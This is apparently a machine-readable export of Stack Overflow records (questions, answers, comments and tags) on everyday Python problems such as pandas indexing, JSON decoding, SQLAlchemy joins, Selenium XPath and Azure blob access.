has body: If you are creating a series object with a multi-index from data, you can do so by constructing a dictionary with tuples as keys, and the data as values. Then pass that to the series constructor. import pandas as pd d = {(0,'a'):1, (0,'b'):1.5, (1,'a'):3, (1,'b'):3.5} s = pd.Series(d) s # returns: 0 a 1.0 b 1.5 1 a 3.0 b 3.5 dtype: float64 Edit based on comments: For this situation, an index of explicit tuples is required. In that case, you can construct the index ahead of time, then use that as the index parameter when constructing the series. ix = pd.Index([(1,'a'), ('a',(2,'b')), (2,('b',1))]) s = pd.Series(data=[1,5,9], index=ix) s # returns: (1, a) 1 (a, (2, b)) 5 (2, (b, 1)) 9 dtype: int64 # check indexing into the series object s[('a',(2,'b'))] # returns: 5
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/46985924

http://stackoverflow.com/a/46926340
has body: Testing above case can never be complete, especially since the main point would be about testing an assertion. Therefore as discussed above a single test where assertion should fail should be sufficient.
upvote count: 1
answers question: http://stackoverflow.com/q/46925128
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/46925128
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/46957511
tagged with: python
has comment: http://stackoverflow.com/comment/81005575
answer count: 0
score: 0
linked to: http://stackoverflow.com/q/14674057
type: Question
has comment: http://stackoverflow.com/comment/117111052
linked to: http://stackoverflow.com/q/4296041
has title: json.decoder.JSONDecodeError: Invalid \escape error
type: UnansweredQuestion
has body: I am trying to parse unicode string in python and run into Invalid \escape error. I have seen this post, but it didn't help either. Here's my code: def replace_with_byte(match): return chr(int(match.group(0)[1:], 8)) def test(request): params = RequestLog.objects.get(id = request_id).params params = params[2:len(params)-1] invalid_escape = re.compile(r'\\[0-7]{1,3}') params = invalid_escape.sub(replace_with_byte, params) params = json.loads(params) # The error rises here # ... And here's the value of params: [{"display_name":"My calendar","owner_account":"My calendar","client_id":"1","name":"My calendar"},{"display_name":"navasardyan.edgar@gmail.com","owner_account":"navasardyan.edgar@gmail.com","client_id":"2","color":"15","name":"navasardyan.edgar@gmail.com"},{"display_name":"Contacts","owner_account":"#contacts@group.v.calendar.google.com","client_id":"3","color":"9","name":"Contacts"},{"display_name":"Holidays in Armenia","owner_account":"en.am#holiday@group.v.calendar.google.com","client_id":"4","color":"17","name":"Holidays in Armenia"},{"display_name":"\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb7\xd0\xb4\xd0\xbd\xd0\xb8\xd0\xba\xd0\xb8 \xd0\xa0\xd0\xa4","owner_account":"ru.russian#holiday@group.v.calendar.google.com","client_id":"5","color":"12","name":"\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb7\xd0\xb4\xd0\xbd\xd0\xb8\xd0\xba\xd0\xb8 \xd0\xa0\xd0\xa4"},{"display_name":"Test","owner_account":"0nptlmsb73cnqbsj204ng35c5k@group.calendar.google.com","client_id":"6","color":"18","name":"Test"},{"display_name":"navasardyan.edgar@outlook.com","owner_account":"navasardyan.edgar@outlook.com","client_id":"7"}] The error message as is: json.decoder.JSONDecodeError: Invalid \escape: line 1 column 563 (char 562)
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/80864498

http://stackoverflow.com/comment/80882517
type: Comment
has text: Dicts have levels/layers, that's why we need to put `[upc][desc][dept_no]` to store the new key at the new level. But dicts have no order/indexes (_unordered by definition_). Keys are stored wherever they are and it doesn't matter in which order because you access to them by calling the key name. Note that my `something3` key appeared at the middle.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46967471

http://stackoverflow.com/q/46930569
tagged with: sqlalchemy
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80808700
answer count: 1
has comment: http://stackoverflow.com/comment/80808632
has body: I have 4 tables, Vendor, Products and ProductGroupings and a join table called Products_ProductGroupings. I'm trying to query all ProductGroupings joining with Products on Products_ProductGroupings where Products.vendor == &lt;A Vendor Instance&gt;. What I can't do is find the right syntax to use with the join table. Alternatively, since ProductGroupings has a property called products I'd like to query all ProductGroupings whose products have vendor &lt;A Vendor Instance&gt;. class Products(db.Model): __tablename__ = 'products' id = db.Column(db.Integer, primary_key=True) parent_id = db.Column(db.Integer, db.ForeignKey('products.id')) parent = db.relationship('Products', backref='children', remote_side=[id]) groupings = db.relationship('ProductGroupings', secondary=Products_ProductGroupings, backref='products') class ProductGroupings(db.Model): __tablename__ = 'product_groupings' id = db.Column(db.Integer, primary_key=True) date_created = db.Column(db.DateTime(timezone=True), nullable=False, default=datetime.datetime.now) Products_ProductGroupings = db.Table( 'products_product_groupings', db.Column('product_id', db.Integer, db.ForeignKey('products.id')), db.Column('product_grouping_id', db.Integer, db.ForeignKey('product_groupings.id')) ) class Vendors(db.Model): __tablename__ = 'vendors' id = db.Column(db.Integer, primary_key=True) hash = db.Column(db.Text(10), nullable=False, default=create_hash) vendor_id = db.Column(db.Integer, db.ForeignKey(Vendors.id), nullable=False) vendor = db.relationship(Vendors, backref='products', foreign_keys=[vendor_id])
tagged with: flask-sqlalchemy
type: Question
accepted answer: http://stackoverflow.com/a/46931200
tagged with: postgresql
has answer: http://stackoverflow.com/a/46931200
has title: How to do a join using a join table?
has comment: http://stackoverflow.com/comment/80808045
tagged with: python
has comment: http://stackoverflow.com/comment/80808287

http://stackoverflow.com/q/46994614
upvote count: 4
score: 4
has answer: http://stackoverflow.com/a/46994669
possible better answer: http://stackoverflow.com/a/46994863
has title: Generate adjacency matrix from a list, where adjacency means equal elements
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46994863
has body: I have a list like this: lst = [0, 1, 0, 5, 0, 1] I want to generate an adjacency matrix: out = array([[ 1., 0., 1., 0., 1., 0.], [ 0., 1., 0., 0., 0., 1.], [ 1., 0., 1., 0., 1., 0.], [ 0., 0., 0., 1., 0., 0.], [ 1., 0., 1., 0., 1., 0.], [ 0., 1., 0., 0., 0., 1.]]) where out[i,j] = 1 if lst[i]==lst[j] Here is my code with two for loops: lst = np.array(lst) label_lst = list(set(lst)) out = np.eye(lst.size, dtype=np.float32) for label in label_lst: idx = np.where(lst == label)[0] for pair in itertools.combinations(idx,2): out[pair[0],pair[1]] = 1 out[pair[1],pair[0]] = 1 But I feel there should be a way to improve this. Any suggestion?
downvote count: 0
accepted answer: http://stackoverflow.com/a/46994669
favorite count: 0
tagged with: numpy
tagged with: combinations
type: Question
tagged with: python-itertools
answer count: 2
tagged with: python
tagged with: adjacency-matrix

http://stackoverflow.com/comment/80840949
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46946697
has text: Unfortunately, no, it just keeps growing.
type: Comment

http://stackoverflow.com/a/46986502
has comment: http://stackoverflow.com/comment/80920069
has comment: http://stackoverflow.com/comment/80920045
has body: Your XPath is incorrect. Note that predicate like [href*="/sports/soccer/"] can be used in CSS selector while in XPath you should use [contains(@href, "/sports/soccer/")]. So complete line should be from selenium.common.exceptions import TimeoutException try: clickMe = wait(driver, 15).until(EC.element_to_be_clickable((By.XPATH, "//*[@class='match-pop-market']//a[contains(@href, '/sports/soccer/')]"))) clickMe1.click() except TimeoutException: print("No link was found")
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80920155
accepted answer of: http://stackoverflow.com/q/46985895
type: Answer
has comment: http://stackoverflow.com/comment/80920252
answers question: http://stackoverflow.com/q/46985895

http://stackoverflow.com/comment/81000844
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47026871
has text: Use int(grade) at index.

http://stackoverflow.com/q/46965497
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80879673
has body: I'm having trouble using montage wrapper to create a mosaic in Python. I am trying to create a 3 x 3 mosaic of M33 and have all 59 photos in a folder 'M33' as shown in my code. There are about 4 photos for each tile and also darks and lights in the folder. The photos are fitz files and the only other thing in my 'M33' folder is my iPython notebook. Here is what I tried: import montage_wrapper as montage montage.mosaic('~/Documents/Modern Observational Techniques/M33', 'mosaic', background_match=True) I can't find any good examples online of people using montage wrapper and the documentation isn't very helpful for me.
tagged with: mosaic
has comment: http://stackoverflow.com/comment/80879659
tagged with: glob
tagged with: python
tagged with: astropy
tagged with: montage
has title: Creating a mosaic with montage wrapper
type: Question
score: 0
answer count: 0

http://stackoverflow.com/comment/80992172
score: 0
type: Comment
type: QuestionComment
has text: I don't know anything about PIL, but be careful using methods prefixed with an underscore; they're intented to be protected/private/internal, and subject to change in unpredictable ways. If there's a public method to get what you're after, try using that instead.
comment on: http://stackoverflow.com/q/47021950

http://stackoverflow.com/a/47028585
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81004428
has body: keep in mind that in python you can swap values of two variables this way: a, b = b, a so your problem can be solved like this: def my_func(a_dict, max): for row in a_dict.values(): row[0][0], row[0][1], row[1][0], row[1][1], row[2][0], row[2][1] = \ row[0][1]+1, row[1][0]-1, row[1][1]+1, row[2][0]-1, row[2][1]+1, max One thing to notice is that there is no return .... dictionary is mutable, so any change to a_dict will retain. After calling my_func, the dictionary passed to the function will contain the result. update @MaximTitarenko told me that the number of inner lists in each row(row=a list associated with a key of the dictionary)may vary. so I wrote another script which works in that case: def make_result(a_dict, max): for row in a_dict.values(): for index in range(len(row)-1): row[index][0] = row[index][1] + 1 row[index][1] = row[index+1][0] -1 row[-1][0] = row[-1][1] + 1 row[-1][1] = max
answers question: http://stackoverflow.com/q/47028073
type: Answer
has comment: http://stackoverflow.com/comment/81004465
has comment: http://stackoverflow.com/comment/81004568

http://stackoverflow.com/q/47054252
has comment: http://stackoverflow.com/comment/81537197
score: -7
downvote count: 7
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81537019
has title: execute python file from python script with arguments{jenkins]
tagged with: python
has answer: http://stackoverflow.com/a/47054335
has body: I am running a python script. environment : Windows10 python version :2.7.14 I am trying to run this file in jenkins execute batch command(generally used for windows command line option) Here is the code. p1.py: import subprocess command="C:/users/python test1.py C:/Users/test1.html" subprocess.call(command,shell=True) It always throws an error while running from Jenkins: C:\Python27\python.exe: can't find '__main__' module in 'C:\\Users\\' C:\Users\test\.jenkins\workspace\test1>python p1.py python: can't open file 'p1.py': [Errno 2] No such file or directory But the same works when I run it from Command prompt. Anything am I missing here? I have tried with os.system("python p1.py test1.html") But I get the same error. EDIT: Its working now, missing was system path
tagged with: python-2.7
tagged with: subprocess
tagged with: jenkins
upvote count: 0
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/80917222
type: Comment
type: AnswerComment
has text: @Dawn17 if you don't want reflections (That is, both `(A, B)` and `(B, A)`), [`itertools.combinations`](https://docs.python.org/3/library/itertools.html#itertools.combinations) is probably faster
comment on: http://stackoverflow.com/a/46984829
score: 1

http://stackoverflow.com/a/46960092
answers question: http://stackoverflow.com/q/46959974
has comment: http://stackoverflow.com/comment/80910505
score: 1
has body: Use sort_values + groupby + apply: df = df.sort_values(['number', 'date']) df.assign(diff=df.groupby('number')['date']\ .apply(lambda x: x - x.values[0])) number date diff 0 1624 2017-01-06 0 days 1 1624 2017-01-07 1 days 2 1633 2017-01-05 0 days 3 1633 2017-01-08 3 days 4 1633 2017-01-14 9 days 5 1716 2017-01-02 0 days 6 1716 2017-01-04 2 days 7 1716 2017-01-04 2 days 8 1716 2017-01-09 7 days 9 2165 2017-01-10 0 days 10 2323 2017-01-07 0 days 12 4564 2017-01-11 0 days 11 4564 2017-01-13 2 days 13 4568 2017-01-12 0 days 14 6565 2017-01-05 0 days 15 6565 2017-01-06 1 days 16 6565 2017-01-09 4 days If you want the diff column as a column of integers (it's currently a timedelta column), then access the .dt.days attribute. df['diff'] = df['diff'].dt.days df number date diff 0 1624 2017-01-06 0 1 1624 2017-01-07 1 2 1633 2017-01-05 0 3 1633 2017-01-08 3 4 1633 2017-01-14 9 5 1716 2017-01-02 0 6 1716 2017-01-04 2 7 1716 2017-01-04 2 8 1716 2017-01-09 7 9 2165 2017-01-10 0 10 2323 2017-01-07 0 12 4564 2017-01-11 0 11 4564 2017-01-13 2 13 4568 2017-01-12 0 14 6565 2017-01-05 0 15 6565 2017-01-06 1 16 6565 2017-01-09 4
type: Answer
accepted answer of: http://stackoverflow.com/q/46959974
has comment: http://stackoverflow.com/comment/80913636
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80965327
type: Comment
score: 0
type: QuestionComment
has text: Also, when printing the XML File, the indentation of the last set of data that was written stays fine but the one above it gets distorted everytime some new data is added
comment on: http://stackoverflow.com/q/47009388

http://stackoverflow.com/q/46941070
type: AnsweredQuestion
has title: first in first out pairing in list when cumulative sum cross 0
score: 3
answer count: 3
tagged with: python
possible better answer: http://stackoverflow.com/a/46954974
type: Question
has body: I am trying to achieve a FIFO pairing assuming that I have a list such has BUY/SHORT quantities and SELL/COVER quantities in a list such as: x = [100.0, -100.0, 100.0, 100.0, -200.0, 200.0, -100.0, -100.0, 100.0,-100.0] I am trying to isolate buys and sell such has the sum of them equal 0. i.e. x[0] is offset with x[1] x[2] and x[3] is offset with x[4] I am trying to get a nested list of index position of the list x that look like this: [[[0], [1]], [[2, 3], [4]], [[5], [6, 7]], [[8], [9]]] I would expect the exact same result if the initial list was reverse like : x = [-100.0, 100.0, -100.0, -100.0, 200.0, -200.0, 100.0, 100.0, -100.0,100.0] So pretty much, every time the cumulative sum cross 0, I reset the pairing. Any help is appreciated! I have achieve a partial solution where a list has perfect offset size such has: def find_matching_position(trade_list): solutions = list(zip([i for i, x2 in enumerate(trade_list) if x2 == trade_list[0]], [i for i, x2 in enumerate(trade_list) if x2 == trade_list[0] * -1])) return [sorted(x) for x in solutions] x = [100, 100, -100 , 100, -100, -100] find_matching_position(x) [[0, 2], [1, 4], [3, 5]]
has comment: http://stackoverflow.com/comment/80829409
tagged with: list
accepted answer: http://stackoverflow.com/a/46941238
upvote count: 3
has answer: http://stackoverflow.com/a/46941238
downvote count: 0
has answer: http://stackoverflow.com/a/46941734
favorite count: 0
has answer: http://stackoverflow.com/a/46954974
has comment: http://stackoverflow.com/comment/80829507

http://stackoverflow.com/a/46925190
accepted answer of: http://stackoverflow.com/q/46910151
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46910151
score: 5
upvote count: 5
has body: According to your description , you want to access azure blob storage via SAS_TOKEN. You could refer to the snippet of code as below which works for me: from datetime import datetime, timedelta import requests from azure.storage.blob import ( BlockBlobService, ContainerPermissions, ) accountName = "&lt;your_account_name&gt;" accountKey = "&lt;your_account_key&gt;" containerName = "&lt;your_container_name&gt;" blobName = "&lt;your_blob_name&gt;" def GetSasToken(): blobService = BlockBlobService(account_name=accountName, account_key=accountKey) sas_token = blobService.generate_container_shared_access_signature(containerName,ContainerPermissions.READ, datetime.utcnow() + timedelta(hours=1)) return sas_token def AccessTest(token): blobService = BlockBlobService(account_name = accountName, account_key = None, sas_token = token) blobService.get_blob_to_path(containerName,blobName,"E://test.txt") token=GetSasToken() print token AccessTest(token) You could also refer to more details from official tutorial. Hope it helps you.
type: Answer
has comment: http://stackoverflow.com/comment/113551132
has comment: http://stackoverflow.com/comment/100833422
downvote count: 0

http://stackoverflow.com/comment/80907103
type: QuestionComment
comment on: http://stackoverflow.com/q/46979888
score: 2
has text: You could spell [*"randint"*](https://docs.python.org/3/library/random.html#random.randint) correctly...
type: Comment

http://stackoverflow.com/comment/80955760
type: AnswerComment
comment on: http://stackoverflow.com/a/46991521
type: Comment
has text: thanks , but when i solve my quiz at code forces it gaves me Runtime error aslo ,why that !
score: 0

file
tags question: http://stackoverflow.com/q/46921346
type: Tag
tags question: http://stackoverflow.com/q/46934333
tags question: http://stackoverflow.com/q/47000599
tags question: http://stackoverflow.com/q/46959968
tags question: http://stackoverflow.com/q/47005982
tags question: http://stackoverflow.com/q/47047722
tags question: http://stackoverflow.com/q/47054148
tags question: http://stackoverflow.com/q/47063374
tags question: http://stackoverflow.com/q/46926163
tags question: http://stackoverflow.com/q/46984319
tags question: http://stackoverflow.com/q/47041575
tags question: http://stackoverflow.com/q/47061067
tags question: http://stackoverflow.com/q/46961998
tags question: http://stackoverflow.com/q/46915583
tags question: http://stackoverflow.com/q/47064067
tags question: http://stackoverflow.com/q/46986255
tags question: http://stackoverflow.com/q/46942717
tags question: http://stackoverflow.com/q/46985085
tags question: http://stackoverflow.com/q/46933047
tags question: http://stackoverflow.com/q/47024825
tag name: file
tags question: http://stackoverflow.com/q/47006802
tags question: http://stackoverflow.com/q/46905980
tags question: http://stackoverflow.com/q/46974600
tags question: http://stackoverflow.com/q/47048086
tags question: http://stackoverflow.com/q/46994317
tags question: http://stackoverflow.com/q/47027246
tags question: http://stackoverflow.com/q/47035031
tags question: http://stackoverflow.com/q/47017640
tags question: http://stackoverflow.com/q/47026522
tags question: http://stackoverflow.com/q/47010829
tags question: http://stackoverflow.com/q/47046193
tags question: http://stackoverflow.com/q/47006932
tags question: http://stackoverflow.com/q/47034400
tags question: http://stackoverflow.com/q/46921859
tags question: http://stackoverflow.com/q/47054150
tags question: http://stackoverflow.com/q/47041979
tags question: http://stackoverflow.com/q/46964895
tags question: http://stackoverflow.com/q/46960499
tags question: http://stackoverflow.com/q/47007589
tags question: http://stackoverflow.com/q/46973612
tags question: http://stackoverflow.com/q/47044864

http://stackoverflow.com/comment/80908837
has text: Welcome to SO. Please take the time to read [ask] and the links it contains. Any chance of condensing that to a [mcve]?
comment on: http://stackoverflow.com/q/46980629
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81023624
type: AnswerComment
has text: You don't need a custom key function though. The default sort works as well in this case. `dict(sorted(values)))`
score: 1
comment on: http://stackoverflow.com/a/47037630
type: Comment

http://stackoverflow.com/a/47046016
type: Answer
answers question: http://stackoverflow.com/q/47045791
score: 2
has comment: http://stackoverflow.com/comment/81039608
upvote count: 2
has body: I would not and do not (in my company we run a couple of web shops) create the order asynchronously. When the user sees your thank-you page, you best be sure that an order has been created. It is only a couple of db operations after all, and the page-speed won't be an issue. Mail sending, however, is a classic example of a task that should not stretch your request-response cycle. One thing though: You might want to consider giving your task a safety delay of a couple of seconds: order_created.apply_async(args=[order.id], countdown=5) The order has just been created and - particularly if you have atomic requests set for your database - the task worker could query for the order before the order creating transaction has been committed and becomes visible to the worker. Alternatively, you can use the transaction.on_commit hook to avoid that race condition.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47045791
has comment: http://stackoverflow.com/comment/81039466

http://stackoverflow.com/comment/80921959
score: 0
type: QuestionComment
has text: Very usefull thanks
comment on: http://stackoverflow.com/q/46972648
type: Comment

http://stackoverflow.com/comment/80895736
score: 0
type: Comment
type: QuestionComment
has text: could you post the right way to do it? @Unatiel
comment on: http://stackoverflow.com/q/46973799

http://stackoverflow.com/a/46930321
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46929973
has body: Your class document has an attribute name and a property name. The second one overrides the first one. When you do: @property def name(self): return name Firstly, I assume there is a typo and instead it is return self.name, otherwise you'd get a NameError. Second, what you are trying to return is the value of name, but now name is the property, which in turn tries to return the value of name, and so on. The typical solution is to have the attribute called something like _name so it does not get hidden by the property.
answers question: http://stackoverflow.com/q/46929973
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/80813390
score: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/81001901
has text: which library, which symbol, which python
score: 0
comment on: http://stackoverflow.com/q/47027299
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81006637
type: AnswerComment
has text: unable to append values to a particular index eg: a[0].append(str)
type: Comment
comment on: http://stackoverflow.com/a/47018152
score: 0

http://stackoverflow.com/q/47034053
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81014452
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/47034237
has comment: http://stackoverflow.com/comment/81014345
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81014969
has body: I'm working with a string containing an image in rgba (8bit per channel), so every four characters of the string is one pixel and each character is one channel of that pixel, e.g.: #4x4 pixel image img_str = 'rgbargbargbargba' Now imagine a much bigger image, extracting the alpha channel is really fast using: img_str_a = img_str[3::4] # result applying this to the 4x4 image would be 'aaaa' This executes in around 2ms for a 1350x765 image. But now I need to extract the RGB channels, ending with a string like 'rgbrgbrgbrgb' with the 4x4 image. I tried with this: img_str_rgb = ''.join('' if i%4 == 0 else char for i, char in enumerate(img_str, 1)) Which works, but it takes around 700ms for the same 1350x765 image. That's a lot, as I'm processing video, so I need much much lower times.
has title: Get n characters every n characters from a string efficiently
accepted answer: http://stackoverflow.com/a/47034237
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7

http://stackoverflow.com/comment/80955227
comment on: http://stackoverflow.com/a/46956293
type: AnswerComment
score: 0
has text: Are you sure that the role you supplied when launching the EC2 instance has the necessary S3 permissions? You may want to SSH onto the instance to debug this further (e.g. by manually running aws s3 cp ...)
type: Comment

http://stackoverflow.com/q/46985085
type: Question
accepted answer: http://stackoverflow.com/a/46985524
has answer: http://stackoverflow.com/a/46986315
has answer: http://stackoverflow.com/a/46985524
tagged with: python
has title: Python: Group files from different directories with same basename
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46986315
answer count: 2
downvote count: 0
tagged with: file
score: 1
upvote count: 1
tagged with: string
has body: I am struggling with a particularly frustrating task. I have a set of thousands of files in one directory, say /path/to/file#####.txt. In other directories I have (probably the same number of) files with the same base-names but different suffixes, e.g. /diff/path/to/file#####.txt.foo. I am trying to group these files together so that I have a list of lists as [['/path/to/file#####.txt', '/diff/path/to/file#####.txt.foo', '/another/path/to/file#####.txt.bar'], ...] It is likely, but not guaranteed that there is a corresponding file in each subforlder, but it's not guaranteed. In other words, '/path/to/file#####.txt' may exist but '/diff/path/to/file#####.txt.foo' might not, so I need to skip that base-name if this occurs. My purpose here is to create a file list for synchronized data loading. How can I efficiently do this?
favorite count: 0

http://stackoverflow.com/comment/80993989
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47023423
has text: Thank you so much, Matthew. That's the answer I was looking for. Just trying to build my first django project. Thanks!
score: 0

http://stackoverflow.com/q/46923229
score: 0
has comment: http://stackoverflow.com/comment/80794285
linked to: http://stackoverflow.com/q/45842772
has comment: http://stackoverflow.com/comment/80837758
has comment: http://stackoverflow.com/comment/80839338
tagged with: google-app-engine
has comment: http://stackoverflow.com/comment/80837780
has comment: http://stackoverflow.com/comment/80839883
linked to: http://stackoverflow.com/q/46311440
has body: I have a basic REST backend in Python that I am trying to deploy to Google App Engine. However, after following the instructions both here and here, my script cannot import some of my third party libraries. I've installed all of the libraries in the lib/ directory, I've added 'appengine_config.py' to add lib to the path so the libraries should be discovered yet requests always fail with Traceback (most recent call last): (/base/data/home/runtimes/python27_experiment/python27_lib/versions/1/google/appengine/runtime/cgi.py:122) File "/base/data/home/apps/myapp/myapp/Rest.py", line 2, in &lt;module&gt; import flask_sqlalchemy ImportError: No module named flask_sqlalchemy I have this app.yaml runtime: python27 api_version: 1 threadsafe: false service: feedback-backend handlers: - url: /* script: Rest.py beta_settings: cloud_sql_instances: feedbackmysql:us-east4:feedback-mysql skip_files: venv/* and this requirements.txt aniso8601==1.3.0 click==6.7 Flask==0.12.2 Flask-RESTful==0.3.6 Flask-Restless==0.17.0 Flask-SQLAlchemy==2.3.2 itsdangerous==0.24 Jinja2==2.9.6 MarkupSafe==1.0 mimerender==0.6.0 pep8==1.7.0 PyMySQL==0.7.11 python-dateutil==2.6.1 python-mimeparse==1.6.0 pytz==2017.2 six==1.11.0 SQLAlchemy==1.1.14 virtualenv==15.1.0 Werkzeug==0.12.2
tagged with: python
has comment: http://stackoverflow.com/comment/80844965
has comment: http://stackoverflow.com/comment/80817763
has title: Python app can't find Flask-SQLAlchemy when deployed to Google App Engine
has comment: http://stackoverflow.com/comment/80839873
has comment: http://stackoverflow.com/comment/80834230
type: Question
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80840837
has comment: http://stackoverflow.com/comment/80793656
has comment: http://stackoverflow.com/comment/80840754
has comment: http://stackoverflow.com/comment/80794269
has comment: http://stackoverflow.com/comment/80840552
has comment: http://stackoverflow.com/comment/80840706

http://stackoverflow.com/comment/81021816
comment on: http://stackoverflow.com/q/47037281
score: 0
type: Comment
type: QuestionComment
has text: @PM 2Ring Actually, my intention is to get to the bottom of the nest, payload_dict and paging_dict are not the end result,I want to get user key further down which is why i thought it was redundant way.

http://stackoverflow.com/comment/80935511
type: Comment
comment on: http://stackoverflow.com/q/46994070
type: QuestionComment
has text: @AnthonyMalachiParkerIII How will you use these variables? Once you have "list13", what will you do with it?
score: 0

http://stackoverflow.com/comment/80941507
has text: but it uses windows os. I use osx..
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46997427
score: 0

http://stackoverflow.com/a/48796999
has body: It looks like py_gpio.c is redefining setmode (line 361, used at line 431). This is a bug in their code, so you should find the team who owns it and report it to them. Most likely they added it to support older versions of MSVC, and should not add it for the current version. It also appears that the code is using a different definition than what the C runtime has, which could later cause problems if the variable types do not match. A full code review may be needed here. In any case, this appears to be a problem with the RPi.GPIO package and not with your install or the tools you are using.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47041569
score: 0
accepted answer of: http://stackoverflow.com/q/47041569
type: Answer

http://stackoverflow.com/comment/81051470
comment on: http://stackoverflow.com/q/47052192
type: Comment
type: QuestionComment
score: 0
has text: @MegaIng NO. **Please** don't do such things. They break. And everytime, bad things happen. See my answer.

http://stackoverflow.com/q/46923627
tagged with: python
has title: Invalid syntax error in urls.py
score: 0
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/80794973
has answer: http://stackoverflow.com/a/46923642
type: UnansweredQuestion
has body: urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$', TemplateView.as_view(template_name='home.html')), url(r'^resturants/$', resturant_ListView.as_view(), url(r'^resturants/punjabi/$', punjabiresturant_ListView.as_view(), url(r'^resturants/thai/$', thairesturant_ListView.as_view(), url(r'^about/$', TemplateView.as_view(template_name='about.html')), url(r'^contact/$',TemplateView.as_view(template_name='contact.html')),#ERROR ] Getting error in urls.py .Getting error in urls.py .Getting error in urls.py

http://stackoverflow.com/comment/80790976
comment on: http://stackoverflow.com/q/46921311
type: QuestionComment
has text: Have you tried [`rolling_mean`](http://pandas.pydata.org/pandas-docs/version/0.17.0/generated/pandas.rolling_mean.html) or [`Series.rolling`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.rolling.html)?
type: Comment
score: 0

http://stackoverflow.com/comment/80871142
has text: @MosesKoledoye See my edit as to what my idea behind this is.
score: 0
comment on: http://stackoverflow.com/q/46961600
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46983476
score: 2
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80914479
has answer: http://stackoverflow.com/a/46995642
downvote count: 0
answer count: 1
has title: Querying multiple points on a bivariate spline in the B-spline basis
tagged with: scipy
favorite count: 0
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46995642
has body: I need to construct a 3D B-spline surface and sample it multiple times at various parametric coordinates. The nearest solution I found was to use bisplev, which expects a tck input calculated by bsplprep. Unfortunately i cannot use that tck component because it produces a surface that passes through the control points, while what I want is a surfaces computed in the B-spline basis. So I manually construct the tck input bsplev can use to produce the desired surface. Unfortunately, I can't figure out how to do this without using 2 nested loops: 1 for each uv query, and one for each spacial component. The latter is acceptable but the former is very slow when dealing with very large query arrays. Here's the code: import numpy as np import scipy.interpolate as si def bivariate_bspline(cv,u,v,uCount,vCount,uDegree,vDegree): # cv = grid of control vertices # u,v = list of u,v component queries # uCount, vCount = number of control points along the u and v directions # uDegree, vDegree = curve degree along the u and v directions uMax = uCount-uDegree # Max u parameter vMax = vCount-vDegree # Max v parameter # Calculate knot vectors for both u and v u_kv = np.clip(np.arange(uCount+uDegree+1)-uDegree,0,uCount-uDegree) # knot vector in the u direction v_kv = np.clip(np.arange(vCount+vDegree+1)-vDegree,0,vCount-vDegree) # knot vector in the v direction # Compute queries position = np.empty((u.shape[0], cv.shape[1])) for i in xrange(cv.shape[1]): tck = (u_kv, v_kv, cv[:,i], uDegree,vDegree) for j in xrange(u.shape[0]): position[j,i] = si.bisplev(u[j],v[j], tck) return position Test: # A test grid of control vertices cv = np.array([[-0.5 , -0. , 0.5 ], [-0.5 , -0. , 0.33333333], [-0.5 , -0. , 0. ], [-0.5 , 0. , -0.33333333], [-0.5 , 0. , -0.5 ], [-0.16666667, 1. , 0.5 ], [-0.16666667, -0. , 0.33333333], [-0.16666667, 0.5 , 0. ], [-0.16666667, 0.5 , -0.33333333], [-0.16666667, 0. , -0.5 ], [ 0.16666667, -0. , 0.5 ], [ 0.16666667, -0. , 0.33333333], [ 0.16666667, -0. , 0. ], [ 0.166…
has comment: http://stackoverflow.com/comment/80916025
tagged with: python

http://stackoverflow.com/q/47021950
tagged with: python-imaging-library
has body: I have the following Python script: from PIL import Image from PIL.ExifTags import TAGS img = Image.open('/path/1.jpg') info = img._getexif() print info Why is info returned as None, although that I made sure that img has been read? Thanks.
answer count: 1
has comment: http://stackoverflow.com/comment/80992172
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81014344
score: 5
has comment: http://stackoverflow.com/comment/81018398
tagged with: nonetype
type: UnansweredQuestion
upvote count: 5
downvote count: 0
linked to: http://stackoverflow.com/q/4764932
tagged with: python
has answer: http://stackoverflow.com/a/47037153
tagged with: exif
has title: Why is my _getexif() returning None?

http://stackoverflow.com/q/47023188
has answer: http://stackoverflow.com/a/47023537
tagged with: selenium-webdriver
type: UnansweredQuestion
answer count: 1
tagged with: selenium
has title: Unable to get Selenium Geckodriver to work on Python - Mac OSX High Sierra
type: Question
score: 0
